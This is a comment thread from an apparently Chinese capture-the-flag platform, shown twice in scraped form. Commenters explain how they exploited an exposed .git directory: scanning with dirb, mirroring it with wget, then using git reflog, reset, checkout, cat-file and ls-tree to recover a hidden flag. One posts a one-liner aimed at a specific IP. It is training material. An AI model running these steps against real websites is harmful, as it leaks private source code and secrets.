emmmm
git is.......差点默认以为这个也是假的flag
一看Linux系统 先用dirb 扫描,发现存在.git目录 用wget -r http://ip_address/.git 递归下载下来,进入文件夹 git reflog (查看执行的命令日志) git show commit_id (查看某次commit的内容) 成功得到flag
sang lang he +1
简单易懂,不粗大佬
多谢大佬的解答,爱您!撒浪嘿
下载源码后 git reflog 查看 记录 有可能版本都回退一遍 git reset --hard 版本号 cat flag.txt 我的是在 40c6d51 这个版本中找到的,其他都是假flag
wget -r http://114.67.246.176:PORT/.git&&cd 114.67.246.176* && for i in `git reflog|awk '{print $1}' `;do git cat-file -p `git ls-tree $i|grep flag.txt|awk '{print $3}'` 2>/dev/null;done;
1. 先扫描网站目录,发现 .git 频繁出现,于是第一反应是 .git 泄露,于是打开网页 http://ip_address/.git,看到的确存在 git 泄露; 2. wget -r http://ip_address/.git 递归下载 .git 目录文件,得到一个文件夹 3. 执行 git reflog 查看执行的命令日志,发现 commit ID 为 13ce8d0
@HaNkLe 好嘞,谢谢表哥,3Q
@after 评论长度有限,就给我截了。接上文:执行 git reset 13ce8d0,回退到该版本的版本库,然后执行 git status 会发现 delete flag.txt,然后执行 git checkout -- flag.txt 将暂存区的 flag.txt 还原到工作区
好多commit ID,用哪一个,然后找到id,flag呢
谢大佬
多谢大佬提示
射射兄弟
git泄露利用工具不止GitHack还有JGitHack。下载后利用git cat-file、git ls-tree命令操作。关注40开头的那串哈希值 可以参考这个文章http://chenjingjiu.cn/index.php/2019/05/10/ichunqiu-web-hello-world/
flag{nonono}
flag{not_here}
???
@dotast 好多假flag
咋了
...
评论
小赵同学 3年前
举报
emmmm
Taer 3年前
举报
git is.......差点默认以为这个也是假的flag
chun 3年前
举报
一看Linux系统 先用dirb 扫描,发现存在.git目录 用wget -r http://ip_address/.git 递归下载下来,进入文件夹 git reflog (查看执行的命令日志) git show commit_id (查看某次commit的内容) 成功得到flag
gogogogogoEcho 2年前
举报
sang lang he +1
18340362523 3年前
举报
简单易懂,不粗大佬
成朗 3年前
举报
多谢大佬的解答,爱您!撒浪嘿
2694218551 3年前
举报
下载源码后 git reflog 查看 记录 有可能版本都回退一遍 git reset --hard 版本号 cat flag.txt 我的是在 40c6d51 这个版本中找到的,其他都是假flag
ttw_is_here 3年前
举报
wget -r http://114.67.246.176:PORT/.git&&cd 114.67.246.176* && for i in `git reflog|awk '{print $1}' `;do git cat-file -p `git ls-tree $i|grep flag.txt|awk '{print $3}'` 2>/dev/null;done;
HaNkLe 3年前
举报
1. 先扫描网站目录,发现 .git 频繁出现,于是第一反应是 .git 泄露,于是打开网页 http://ip_address/.git,看到的确存在 git 泄露; 2. wget -r http://ip_address/.git 递归下载 .git 目录文件,得到一个文件夹 3. 执行 git reflog 查看执行的命令日志,发现 commit ID 为 13ce8d0
after 3年前
举报
@HaNkLe 好嘞,谢谢表哥,3Q
HaNkLe 3年前
举报
@after 评论长度有限,就给我截了。接上文:执行 git reset 13ce8d0,回退到该版本的版本库,然后执行 git status 会发现 delete flag.txt,然后执行 git checkout -- flag.txt 将暂存区的 flag.txt 还原到工作区
after 3年前
举报
好多commit ID,用哪一个,然后找到id,flag呢
夜布多555 3年前
举报
谢大佬
junlebao 3年前
举报
多谢大佬提示
fallingskies 3年前
举报
射射兄弟
qscf123456 3年前
举报
git泄露利用工具不止GitHack还有JGitHack。下载后利用git cat-file、git ls-tree命令操作。关注40开头的那串哈希值 可以参考这个文章http://chenjingjiu.cn/index.php/2019/05/10/ichunqiu-web-hello-world/
fallingskies 3年前
举报
flag{nonono}
derder 3年前
举报
flag{not_here}
derder 3年前
举报
???
derder 3年前
举报
@dotast 好多假flag
dotast 3年前
举报
咋了